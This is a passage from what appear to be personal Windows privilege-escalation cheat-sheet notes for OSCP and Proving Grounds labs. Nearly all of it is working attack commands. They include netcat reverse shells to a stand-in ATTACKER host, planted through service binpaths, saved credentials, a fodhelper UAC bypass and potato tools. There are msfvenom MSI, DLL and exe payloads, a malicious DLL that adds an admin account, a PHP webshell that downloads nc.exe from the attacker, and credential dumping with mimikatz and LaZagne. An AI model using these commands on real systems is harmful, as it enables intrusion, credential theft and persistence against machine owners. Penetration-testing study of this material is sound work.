sc config <svc> binpath= "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"
Check 4 — Saved Credentials and AutoLogon
cmdkey /list
# If entries exist:
runas /savecred /user:Administrator "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe"
# AutoLogon in registry
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>$null | findstr /i "DefaultUserName DefaultPassword AutoAdminLogon"
RunAs with known password (requires GUI/RDP — password prompt is interactive)
:: If you found a password for another user (config file, note, etc.)
runas /user:targetuser cmd
:: Enter password at the prompt. A new window opens as that user.
:: Does NOT work in bind shells or WinRM — the password prompt won't accept input.
:: Alternatives without GUI: evil-winrm, PSRemoting (Enter-PSSession), or scheduled tasks
Check 5 — Password Hunting
⚠️ DO NOT run
findstrordir /sfromC:\— gives infinite garbage. ALWAYS search from a specific directory: user home, web root, or program folder.
Credential Theft
| Command | Description | |
|---|---|---|
| findstr /SIM /C:“password” *.txt *ini *.cfg *.config *.xml | Search for files with the phrase “password” | |
| gc ‘C:\Users\student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt’ | Select-String password | Searching for passwords in Chrome dictionary files | |
| (Get-PSReadLineOption).HistorySavePath | Confirm PowerShell history save path | |
| gc (Get-PSReadLineOption).HistorySavePath | Reading PowerShell history file | |
| $credential = Import-Clixml -Path ‘C:\scripts\pass.xml’ | Decrypting PowerShell credentials | |
cd c:\Users\student\Documents & findstr /SI /M "password" *.xml *.ini *.txt | Searching file contents for a string | |
findstr /si password *.xml *.ini *.txt *.config | Searching file contents for a string | |
findstr /spin "password" *.* | Searching file contents for a string | |
select-string -Path C:\Users\student\Documents\*.txt -Pattern password | Search file contents with PowerShell | |
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* | Search for file extensions | |
where /R C:\ *.config | Search for file extensions | |
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore | Search for file extensions using PowerShell | |
cmdkey /list | List saved credentials | |
.\SharpChrome.exe logins /unprotect | Retrieve saved Chrome credentials | |
.\lazagne.exe -h | View LaZagne help menu | |
.\lazagne.exe all | Run all LaZagne modules | |
Invoke-SessionGopher -Target SRV01 | Running SessionGopher | |
netsh wlan show profile | View saved wireless networks | |
netsh wlan show profile ilfreight_corp key=clear | Retrieve saved wireless passwords | |
PowerShell history (CHECK FIRST — most common on OSCP/PG)
:: CMD:
type C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
for /f "tokens=*" %u in ('dir /b C:\Users') do @type "C:\Users\%u\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" 2>nul
# PowerShell (evil-winrm):
Get-Content $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -ErrorAction SilentlyContinue
# All users:
Get-ChildItem -Path C:\Users -Recurse -Filter ConsoleHost_history.txt -ErrorAction SilentlyContinue | Get-Content
Other Files
There are many other types of files that we may find on a local system or on network share drives that may contain credentials or additional information that can be used to escalate privileges. In an Active Directory environment, we can use a tool such as Snaffler to crawl network share drives for interesting file extensions such as .kdbx, .vmdk, .vdhx, .ppk, etc. We may find a virtual hard drive that we can mount and extract local administrator password hashes from, an SSH private key that can be used to access other systems, or instances of users storing passwords in Excel/Word Documents, OneNote workbooks, or even the classic passwords.txt file. A password found on a share drive or local drive often leads to either initial access or privilege escalation. Many companies provide each employee with a folder on a file share mapped to their user id (e.g. the folder bjones on the users share on a server called FILE01) with loose permissions applied, so users often save sensitive data there unaware it is readable by everyone on the network.
Manually Searching the File System for Credentials
We can search the file system or share drive(s) manually using the following commands (from this cheatsheet).
Search file contents for a string (cmd):
cd c:\Users\student\Documents & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Search file contents with PowerShell:
select-string -Path C:\Users\student\Documents\*.txt -Pattern password
Search for file extensions (cmd):
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ *.config
Search for file extensions with PowerShell:
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore
⚠️ Get-History vs PSReadline: Clear-History only clears PowerShell’s own Get-History buffer. It does NOT clear the PSReadline file. Most admins think they cleared their history but the file is untouched.
# Find the PSReadline history path (confirms location per user)
(Get-PSReadlineOption).HistorySavePath
Step 1b: PowerShell Transcript files (often overlooked goldmine)
If PowerShell Transcription is enabled, every command+output is logged to a file. Contains plaintext passwords from ConvertTo-SecureString, Enter-PSSession -Credential, etc.
# Works in both CMD and PS:
Get-ChildItem -Path C:\ -Include *transcript* -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\Public\Transcripts -ErrorAction SilentlyContinue
Step 2: Targeted search from user home directory
:: CMD:
cd %USERPROFILE%
findstr /SIM /C:"pass" *.ini *.cfg *.xml *.txt *.config
# PowerShell (evil-winrm):
cd $env:USERPROFILE
Get-ChildItem -Recurse -Include *.ini,*.cfg,*.xml,*.txt,*.config -ErrorAction SilentlyContinue | Select-String "pass" -List | Select Path
Step 3: Check known credential locations
# These all work in PowerShell (use Get-Content, not type, if wildcards are needed)
Get-Content $env:APPDATA\FileZilla\recentservers.xml -ErrorAction SilentlyContinue
Get-Content $env:APPDATA\FileZilla\sitemanager.xml -ErrorAction SilentlyContinue
Get-Content C:\inetpub\wwwroot\web.config -ErrorAction SilentlyContinue
Get-Content C:\xampp\htdocs\wp-config.php -ErrorAction SilentlyContinue
Get-Content C:\xampp\phpMyAdmin\config.inc.php -ErrorAction SilentlyContinue
Get-Content C:\xampp\mysql\bin\my.ini -ErrorAction SilentlyContinue
Get-Content C:\Windows\Panther\Unattended.xml -ErrorAction SilentlyContinue
Get-Content C:\Windows\System32\sysprep\Unattend.xml -ErrorAction SilentlyContinue
Get-Content C:\ProgramData\McAfee\Common\Framework\SiteList.xml -ErrorAction SilentlyContinue
Step 4: Check other users’ stuff (if accessible)
# PowerShell (works in evil-winrm):
Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.ini,*.kdbx,*.rdp -ErrorAction SilentlyContinue | Where-Object {$_.FullName -notlike '*AppData\Local\Microsoft*'} | Select FullName
Get-ChildItem -Path C:\Users\*\.ssh -ErrorAction SilentlyContinue | Select FullName
Step 5: AutoLogon registry (plaintext passwords)
# Works in both CMD and PS:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>$null | findstr /i "DefaultUserName DefaultPassword AutoAdminLogon"
Step 6: Credential Manager
cmdkey /list
:: If entries exist:
runas /savecred /user:Administrator "C:\Windows\Temp\nc.exe ATTACKER 80 -e cmd.exe"
Step 7: Search non-default directories on C:\
# Look at C:\ root for anything unusual
Get-ChildItem C:\
# Then search inside suspicious directories
Get-ChildItem -Path C:\backup -Recurse -Include *.txt,*.xml,*.ini,*.config -ErrorAction SilentlyContinue | Select-String "pass" -List | Select Path
Step 8: Hidden AppData — the folder dir won’t show you
dir C:\Users\Administrator does NOT show AppData. It’s hidden. But it’s full of saved creds from apps like RDCMan, mRemoteNG, PuTTY, WinSCP, FileZilla, etc. WinPEAS does NOT check most of these.
One command to find everything with “password” in hidden AppData:
Get-ChildItem -Path C:\Users\*\AppData -Recurse -Include *.xml,*.config,*.ini,*.txt,*.settings -Force -ErrorAction SilentlyContinue | Select-String -Pattern "password|credential|passwd" -List | Select Path
Then read whatever it finds:
Get-Content "<PATH_FROM_ABOVE>" -ErrorAction SilentlyContinue
Also check registry for saved sessions:
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" 2>$null
reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" 2>$null
Step 9: PowerShell targeted file search
# KeePass databases (crack with keepass2john)
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
# Documents in current user's home
Get-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
Lesson from Mice (PG):
findstr /SIM /C:"pass" *.ini *.cfg *.xmlfrom user home found FileZilla XML with FTP creds. The olddir /s /b C:\*pass*command gave pages of garbage and found nothing useful.
Sticky Notes Passwords
## Sticky Notes Passwords
##People often use the StickyNotes app on Windows workstations to save passwords and other information, not realizing it is a database file. This file is located at `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining.
#### Viewing Sticky Notes Data Using PowerShell
# This can also be done with PowerShell using the [PSSQLite module](https://github.com/RamblingCookieMonster/PSSQLite). First, import the module, point to a data source
PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process Execution Policy Change
PS C:\htb> cd .\PSSQLite\
PS C:\htb> Import-Module .\PSSQLite.psd1
PS C:\htb> $db = 'C:\Users\student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite'
PS C:\htb> Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap
#### Strings to View DB File Contents, We can also copy them over to our attack box and search through the data using the `strings` command, which may be less efficient depending on the size of the database.
Jean8895@htb[/htb]$ strings plum.sqlite-wal
Other Interesting Files
### Some other files we may find credentials in include the following:
%SYSTEMDRIVE%\pagefile.sys %WINDIR%\debug\NetSetup.log %WINDIR%\repair\sam %WINDIR%\repair\system %WINDIR%\repair\software, %WINDIR%\repair\security %WINDIR%\iis6.log %WINDIR%\system32\config\AppEvent.Evt %WINDIR%\system32\config\SecEvent.Evt %WINDIR%\system32\config\default.sav %WINDIR%\system32\config\security.sav %WINDIR%\system32\config\software.sav %WINDIR%\system32\config\system.sav %WINDIR%\system32\CCM\logs\*.log %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat %WINDIR%\System32\drivers\etc\hosts C:\ProgramData\Configs\* C:\Program Files\Windows PowerShell\*
Automatic Credential Hunt Tools
Running SessionGopher as Current User
We need local admin access to retrieve stored session information for every user in `HKEY_USERS`, but it is always worth running as our current user to see if we can find any useful credentials.
PS C:\htb> Import-Module .\SessionGopher.ps1 PS C:\Tools> Invoke-SessionGopher -Target SRV01
Running All LaZagne Modules
.\lazagne.exe all
Cracking Protected Files
pdf2john file.pdf > hash.txt
zip2john file.zip > hash.txt
keepass2john file.kdbx > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Check 6 — AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If both return 0x1:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f msi -o evil.msi
# Transfer, then: msiexec /quiet /qn /i C:\Windows\Temp\evil.msi
Check 7 — SAM/SYSTEM Backups
dir C:\Windows\Repair\SAM
dir C:\Windows\Repair\SYSTEM
dir C:\Windows\System32\config\RegBack\SAM
dir C:\Windows\System32\config\RegBack\SYSTEM
If accessible:
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Check 8 — Scheduled Tasks
Three questions to answer for each task:
- Who does it run as? (Run As User = SYSTEM or admin = worth exploiting)
- When does it run? (Next Run Time — must be in the future or recurring)
- What does it execute? (Task To Run — is the binary/script writable by us?)
:: Full dump (verbose)
schtasks /query /fo LIST /v
:: Filtered views
schtasks /query /fo LIST /v | findstr /i "Task To Run" | findstr /i /v "system32"
schtasks /query /fo LIST /v | findstr /i "Run As User" | findstr /i "SYSTEM\|Administrator"
Exploitation: Same as service binary hijacking — replace the script/binary with your payload.
:: Check if you can write to the binary location
icacls "C:\path\to\scheduled\binary.exe"
:: If writable, replace with adduser.exe or nc.exe reverse shell
move C:\path\to\binary.exe binary.exe.bak
copy C:\Windows\Temp\adduser.exe C:\path\to\binary.exe
:: Wait for the scheduled task to fire
If only the parent dir is writable: del binary.exe + copy malicious.exe binary.exe (ACL inheritance can grant dir write but not file write).
Manual trigger: schtasks /run /tn "TaskName" — works for some tasks, skips waiting for Next Run Time. Try before committing to a wait plan.
Check 9 — Installed Software and Non-Default Directories
wmic product get name,version,vendor
dir "C:\Program Files"
dir "C:\Program Files (x86)"
# Registry-based app list (more complete than wmic — catches apps wmic misses)
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Critical: always check C:\ root for non-default directories:
dir C:\
Look for anything that isn’t Windows, Program Files, Users, PerfLogs. Directories like C:\ftp, C:\backup, C:\work, C:\dev, C:\tools are placed there intentionally and contain clues.
Check 10 — DLL Hijacking
DLL search order (safe mode enabled — default on all modern Windows):
- Application directory
- System directory (System32)
- 16-bit system directory
- Windows directory
- Current directory
- PATH environment variable directories
echo %PATH%
:: Check for writable directories in PATH
icacls "C:\some\path\in\PATH"
Methodology:
- Copy target binary to a test VM, install it, run Process Monitor (Procmon) as admin
- In Procmon: Filter → Process Name is
target.exe, Operation isCreateFile, Path contains.dll, Result isNAME NOT FOUND - Any DLL showing
NAME NOT FOUNDin the app directory = missing DLL you can plant - Confirm you can write to that directory:
echo test > "C:\App Dir\test.txt" - Cross-compile malicious DLL and place it there
Malicious DLL template (C++):
// evil.cpp — DLL_PROCESS_ATTACH fires when the DLL is loaded
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("net user pwned Password123! /add");
system("net localgroup administrators pwned /add");
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
# Cross-compile DLL on Kali
x86_64-w64-mingw32-gcc evil.cpp --shared -o TextShaping.dll
Or use msfvenom (simpler, but may get caught by AV):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=x LPORT=y -f dll -o evil.dll
⚠️ The DLL runs with the privileges of whoever starts the application. If a low-priv user runs it, you get low-priv execution. Wait for or trick a high-priv user into running the app.
Check 11 — Internal Services
netstat -ano | findstr LISTENING
Look for services bound to 127.0.0.1 — these are invisible to external nmap scans and may run as SYSTEM.
Note: 0.0.0.0 means listening on ALL interfaces (including localhost). 127.0.0.1 means localhost ONLY.
Identify what process owns each port
:: Admin required:
netstat -anob
:: Non-admin — look up individual PIDs:
tasklist /FI "PID eq 4260"
:: If tasklist is access-denied, try:
Get-Process -Id 4260 | Select-Object Name,Path
One-liner: map ALL listening ports to process names (no admin needed):
Get-NetTCPConnection -State Listen | Select-Object LocalAddress,LocalPort,OwningProcess,@{Name='Process';Expression={(Get-Process -Id $_.OwningProcess).Name}} | Sort-Object LocalPort
Interacting with MySQL through evil-winrm (non-interactive)
Evil-WinRM hangs on interactive prompts (like mysql -u root -p). Use non-interactive flags:
:: From C:\xampp\mysql\bin:
.\mysql.exe -u root --password=""
.\mysql.exe -u root -e "SHOW DATABASES;"
.\mysql.exe -u root -e "SELECT user,host FROM mysql.user;"
.\mysql.exe -u root -e "USE wordpress; SELECT * FROM wp_users;"
The -e flag runs the query and exits — no interactive prompt, no hanging.
XAMPP MySQL often has a blank root password. Always try --password="" first.
Interacting with localhost services from Windows (PowerShell):
# PowerShell 'curl' is an alias for Invoke-WebRequest — NOT linux curl
curl http://127.0.0.1/?test -UseBasicParsing # -UseBasicParsing required
(curl http://127.0.0.1/?test -UseBasicParsing).RawContent # .RawContent for readable text
# .Content may return byte arrays — use .RawContent instead
# Alternative: Invoke-WebRequest explicitly
(Invoke-WebRequest -Uri "http://127.0.0.1:8080/api" -UseBasicParsing).Content
Forward localhost services to your attack box:
# Chisel
# Attacker: ./chisel server -p 9999 --reverse
# Target: .\chisel.exe client ATTACKER:9999 R:80:127.0.0.1:80
# Then browse http://127.0.0.1:80 on Kali
⚠️ Common mistake: If the service is bound to 127.0.0.1:1337, the chisel forward MUST use 127.0.0.1:1337 — NOT the machine’s external IP. The service only accepts connections on loopback.
Check 12 — UAC Bypass
whoami /groups | findstr /i "Medium Mandatory"
If medium integrity + local admin:
reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /f
fodhelper.exe
Check 13 — Credential Dumping
lazagne.exe all
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
.\mimikatz.exe "privilege::debug" "lsadump::sam" "exit"
Checks 14-18 — Additional Vectors
# 14. Browser saved passwords
dir /s /b C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login Data
# 15. WiFi passwords
netsh wlan show profiles
netsh wlan show profile name="<SSID>" key=clear
# 16. Clipboard
powershell -c "Get-Clipboard"
# 17. Mapped drives and shares
net use
net share
# 18. Kernel exploits (LAST RESORT)
systeminfo > systeminfo.txt
# Transfer to Kali: python wes.py systeminfo.txt
Lateral Movement via Webshell (When Your User Has No Privesc Path)
If your current user has no SeImpersonate, no service misconfigs, nothing — check if there’s a web server running. If you can write to the web root AND the web server runs as a different user, you can pivot through a webshell.
# 1. Check if you can write to web root
echo "test" > C:\xampp\htdocs\test.txt
# 2. Drop a PHP webshell
Set-Content -Path "C:\xampp\htdocs\cmd.php" -Value '<?php system($_GET["cmd"]); ?>'
# 3. From Kali, check who the web server runs as
curl "http://TARGET/cmd.php?cmd=whoami"
curl "http://TARGET/cmd.php?cmd=whoami+/all"
# If SeImpersonatePrivilege = Enabled → get shell as that user → potato → SYSTEM
# 4. Transfer tools via webshell
curl "http://TARGET/cmd.php?cmd=certutil+-urlcache+-split+-f+http://ATTACKER/nc.exe+C:\xampp\htdocs\nc.exe"
# 5. Get reverse shell as web server user
curl "http://TARGET/cmd.php?cmd=C:\xampp\htdocs\nc.exe+ATTACKER+443+-e+cmd.exe"
Common web roots: C:\xampp\htdocs, C:\inetpub\wwwroot, C:\wamp\www
When Automated Tools Find Nothing
If WinPEAS, whoami /priv, and service checks all come up empty, don’t panic. The privesc is information-based:
dir C:\— look for non-default directories. Anything custom is a clue.- Read everything accessible — home directories, Desktop, Documents, web roots, config files. Crack any password-protected files.
netstat -ano | findstr LISTENING— find localhost-only services. These run as higher-privilege accounts and are invisible to external scans.- Check running processes —
tasklist /vfor services running as SYSTEM with unusual paths. - Re-enumerate — with any new information discovered, search again.
The pattern: Find file → crack it → read it → discover hidden service → use it.
Windows Group Membership and Re-Login
Critical gotcha: Adding a user to a group (e.g., net localgroup Administrators user /add) does NOT take effect in the current session.
Windows creates an access token at login time that contains your group memberships. That token is fixed for the entire session. To pick up new group membership, you must start a completely new session:
# After adding to a group:
exit # close current session
ssh user@target # new SSH = new token
# or new RDP session, or runas
Full Token Privileges Reference (Check 1 expanded)
| Privilege | What it means | Exploit |
|---|---|---|
| SeImpersonatePrivilege | Impersonate any token | Potato attacks → SYSTEM |
| SeAssignPrimaryTokenPrivilege | Assign tokens to processes | Same as SeImpersonate → Potato |
| SeBackupPrivilege | Read any file | reg save SAM/SYSTEM → secretsdump |
| SeRestorePrivilege | Write any file | Overwrite service binary or DLL |
| SeTakeOwnershipPrivilege | Take ownership of any object | Take ownership → modify ACL → read/write |
| SeDebugPrivilege | Debug any process | Dump LSASS → Mimikatz |
| SeLoadDriverPrivilege | Load kernel drivers | Load vulnerable driver → kernel exploit |
Additional Potato Variants
| Potato | When to use |
|---|---|
| PrintSpoofer | Print Spooler running. Simplest. Try first. |
| GodPotato | Most broadly compatible. Try second. |
| SharpEfsPotato | Uses EFS service. Alternative when others fail. |
| RoguePotato | Server 2019+. Needs Kali for relay. |
| SweetPotato | Combines multiple techniques. |
:: SharpEfsPotato
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd"
:: RoguePotato (needs socat on Kali: socat tcp-listen:135,reuseaddr,fork tcp:TARGET:9999)
RoguePotato.exe -r KALI_IP -e "C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe" -l 9999
When Potatoes Fail:
PrintSpoofer fails → Print Spooler disabled. Check: sc query spooler
JuicyPotato fails → Wrong CLSID or OS. Try different CLSIDs.
All fail → SeImpersonatePrivilege might show "Disabled". Find another vector.
Phantom DLL Hijacking
Some apps try to load DLLs that don’t exist anywhere on the system. If a directory in the PATH is writable, you can plant your DLL there.
:: Check for writable directories in PATH
echo %PATH%
icacls "C:\some\path\in\PATH"
:: If writable: place your malicious DLL with the exact name the app expects
copy evil.dll "C:\writable\path\missing.dll"
# PS: check each PATH directory
$env:PATH -split ';' | ForEach-Object { icacls $_ 2>$null }
Phantom DLLs are found via Process Monitor (filter: Result=NAME NOT FOUND, Path ends with .dll)
x
Writable Service Binary Hijack (step-by-step)
WinPEAS shows something like:
Apache Server ["C:\xampp\apache\bin\httpd.exe" -k runservice] - Autoload
File Permissions: Authenticated Users [Allow: WriteData/CreateFiles]
This means: you can replace the service binary, and when the service restarts, it runs YOUR code as the service account (usually SYSTEM).
# Step 1: Find the exact service name
Get-Service | Where-Object {$_.DisplayName -like '*apache*'}
# Or: sc.exe query type= service state= all | findstr /i "apache"
# Step 2: Check WHO the service runs as
sc.exe qc Apache2.4
# Look for SERVICE_START_NAME: LocalSystem = SYSTEM = jackpot
# Also check START_TYPE: AUTO_START means it restarts on reboot too
# Step 3: Backup the original binary
move "C:\xampp\apache\bin\httpd.exe" "C:\xampp\apache\bin\httpd.exe.bak"
# Step 4: Generate your payload ON KALI (must be an exe that connects back)
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=KALI_IP LPORT=443 -f exe -o httpd.exe
# Or use adduser.exe if reverse shell fails:
# x86_64-w64-mingw32-gcc adduser.c -o httpd.exe
# Step 5: Upload payload with the SAME NAME as the original binary
upload httpd.exe C:\xampp\apache\bin\httpd.exe
# Or: certutil -urlcache -f http://KALI/httpd.exe C:\xampp\apache\bin\httpd.exe
# Step 6: Start listener on Kali
# rlwrap nc -lvnp 443
# Step 7: Restart the service
sc.exe stop Apache2.4
sc.exe start Apache2.4
# If "Access Denied" on stop/start → wait for reboot (if AUTO_START)
# Or: shutdown /r /t 0 (if you have SeShutdownPrivilege)
Common mistakes:
- Adding
.exeto service names —sc.exe qc auditTrackerNOTsc.exe qc auditTracker.exe. The service NAME and the FILENAME are different things..exeinsc.execommands = instant failure. - Using
svcinstead ofsc.exe—svcdoesn’t exist. Alwayssc.exe - Renaming nc.exe to httpd.exe — won’t work because nc.exe needs arguments (-e cmd.exe). Use msfvenom.
- Forgetting to start a listener before restarting the service
- Service name wrong — use
Get-Serviceto find the exact name
When you can’t stop/start the service (access denied) AND can’t reboot (access denied):
# Check if service auto-restarts on failure
sc.exe qfailure auditTracker
# If RESTART is listed as a failure action → the service will restart itself
# Your msfvenom binary will crash (it's not a real service) → triggers auto-restart → shell
# Just wait 1-2 minutes after uploading your payload
# Alternative: check if the service is currently running
sc.exe query auditTracker
# If STOPPED → you might be able to start it even without admin
sc.exe start auditTracker
When Get-CimInstance gives “access denied” (not admin):
# Broad registry search — works without admin, finds services + tasks + autorun
reg query HKLM /s /f "binaryname" 2>$null
# If it appears under HKLM\SYSTEM\CurrentControlSet\Services\ → it's a service
# Then use sc.exe qc SERVICENAME to check who runs it
This same technique works for ANY writable service binary, not just Apache. WinPEAS flags these with
File Permissions: ... [Allow: WriteData]or[AllAccess]
Service Config Details (sc qc)
:: Get full config of a service
sc qc <servicename>
:: Shows: BINARY_PATH_NAME, SERVICE_START_NAME (who it runs as), START_TYPE
:: If BINARY_PATH_NAME is writable and SERVICE_START_NAME is LocalSystem → game over
Additional Credential Locations (old eCPPT notes)
:: VNC passwords (encrypted but crackable)
reg query "HKCU\Software\ORL\WinVNC3\Password" 2>nul
reg query "HKCU\Software\TightVNC\Server" 2>nul
:: SNMP community strings
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" 2>nul
:: IIS .NET Framework config (another web.config location)
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul
# PS equivalents:
reg query "HKCU\Software\ORL\WinVNC3\Password" 2>$null
reg query "HKCU\Software\TightVNC\Server" 2>$null
Get-Content C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config -EA SilentlyContinue
Additional Automated Tools
:: Beyond WinPEAS and PowerUp:
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
.\Jaws-enum.ps1
Adding Users (Persistence / If You Need Stable Access)
net user hacker hacker123 /add
net localgroup Administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add
net localgroup "Remote Management Users" hacker /add
Remember: new group membership requires a NEW session to take effect.
Pass the Hash — From Windows
:: pth-winexe (from Kali, using pass-the-hash to get a shell)
Quick Reference — Locations to Always Check
C:\Users\<user>\Desktop\ ← flags, notes, shortcuts
C:\Users\<user>\Documents\ ← interesting files
C:\Users\<user>\Downloads\ ← downloaded tools/creds
C:\Users\<user>\AppData\ ← HIDDEN! Use -Force or full path
C:\xampp\ ← web configs, passwords.txt
C:\inetpub\wwwroot\ ← IIS web root, web.config
C:\Windows\repair\ ← SAM backups
C:\Windows\System32\config\ ← SAM, SYSTEM, SECURITY
C:\windows.old\ ← OLD OS files (creds from previous install!)
C:\ProgramData\ ← app data, startup items
C:\Program Files\ ← installed software (searchsploit versions)
Quick Decision Tree — Windows PrivEsc
whoami /priv shows SeImpersonatePrivilege →
└── Potato attack (PrintSpoofer → GodPotato → JuicyPotatoNG)
Found a writable service binary →
└── Replace with reverse shell → restart service
Found unquoted service path with writable dir →
└── Place payload in writable directory → restart service
Found saved credentials (cmdkey /list) →
└── runas /savecred /user:admin C:\Windows\Temp\nc.exe ATTACKER 443 -e cmd.exe
Found readable SAM/SYSTEM →
└── Extract → secretsdump → pass the hash
Found auto-login in registry →
└── Use those creds on RDP, WinRM, SMB
Found cleartext password in config/history/AppData →
└── Try on all services, try on all machines (reuse!)
Found writable scheduled task →
└── Inject payload → wait for execution
Found AlwaysInstallElevated = 1 →
└── msfvenom MSI payload → msiexec
Medium integrity + local admin →
└── UAC bypass (fodhelper)
Nothing obvious from manual checks →
└── Run WinPEAS → focus on red/yellow highlights
└── Run Hidden AppData search → check for saved creds
└── Check running processes for custom apps → searchsploit